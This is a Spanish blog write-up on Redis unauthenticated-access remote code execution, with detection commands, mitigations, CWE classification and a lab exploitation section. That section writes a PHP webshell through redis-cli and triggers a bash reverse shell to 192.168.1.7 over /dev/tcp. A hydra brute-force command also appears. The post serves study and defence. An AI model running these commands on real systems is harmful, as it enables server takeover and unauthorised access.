cd ~/blog

~/vulns/redis-unauthorized-access-rce.md

Redis Unauthorized Access RCE

webautor: Jordy Pérez Osorio aviso legal
RedisRCEwebshell

~2 min de lectura


1. Descripción técnica

Redis es un almacén de datos clave-valor en memoria. El riesgo aparece cuando una instancia escucha en una interfaz alcanzable, no exige autenticación efectiva y permite ejecutar operaciones administrativas. Detectar el puerto 6379 no basta para afirmar la vulnerabilidad: deben comprobarse la respuesta de autenticación, el modo protegido, las ACL y los permisos del proceso.

El abuso más conocido aprovecha que Redis puede persistir su base de datos a disco en una ruta y nombre de archivo controlables. Combinando esto con un valor que contenga código, se puede escribir un archivo arbitrario en el sistema:

  • Webshell: apuntar dir al DocumentRoot del servidor web, fijar dbfilename a un .php y guardar una clave con código PHP. Al solicitar el archivo por el web, se ejecuta.
  • Clave SSH: escribir una clave pública autorizada en ~/.ssh/authorized_keys de un usuario.
  • Cron: escribir un cronjob en /var/cron/....
  • En versiones modernas, también existen módulos maliciosos (MODULE LOAD) y el RCE de replicaof (RedisModules / RedisRCE).

Cuando Redis sí requiere contraseña, esta suele ser débil y se puede obtener por fuerza bruta (hydra) antes de aplicar la técnica.

2. Impacto de la vulnerabilidad

  • Ejecución remota de código con los privilegios del usuario que ejecuta Redis (a veces redis, a veces un usuario con más permisos).
  • Escritura de archivos arbitrarios en el sistema.
  • Lectura de todos los datos almacenados en Redis (posibles credenciales).

3. Condiciones necesarias

  1. Redis accesible en red (puerto 6379) sin autenticación o con contraseña débil.
  2. Conocimiento de una ruta escribible relevante (DocumentRoot web, home de un usuario, etc.).
  3. Permisos del proceso Redis suficientes para escribir en esa ruta.

4. Validación y detección

nmap -sCV -p6379 target            # redis ...
redis-cli -h target ping           # PONG (sin auth) o NOAUTH (con auth)
redis-cli -h target INFO

Si pide autenticación, se puede hacer fuerza bruta:

hydra -P rockyou.txt target redis

5. Mitigación

  1. Habilitar autenticación (requirepass) con una contraseña fuerte y/o ACLs.
  2. No exponer Redis a redes no confiables; bind a 127.0.0.1 y firewall.
  3. Mantener protected-mode activado.
  4. Ejecutar Redis con un usuario sin privilegios y sin escritura sobre rutas sensibles.

6. Explotación documentada en 05-ready

Escritura de una webshell PHP en el DocumentRoot:

❯ redis-cli -h 192.168.1.16
192.168.1.16:6379> config set dir /var/www/html
OK
192.168.1.16:6379> config set dbfilename pwned.php
OK
192.168.1.16:6379> set payload "<?php system($_GET['cmd']); ?>"
OK
192.168.1.16:6379> save
OK

Luego se invoca el comando vía el web para obtener una reverse shell:

http://192.168.1.16:8080/pwned.php?cmd=bash -c 'bash -i >& /dev/tcp/192.168.1.7/1234 0>&1'

7. Clasificación

  • Tipo: Security Misconfiguration / Arbitrary File Write → Remote Code Execution
  • CWE:
    • CWE-306: Missing Authentication for Critical Function
    • CWE-732: Incorrect Permission Assignment for Critical Resource

8. Referencias y conexiones

// relacionados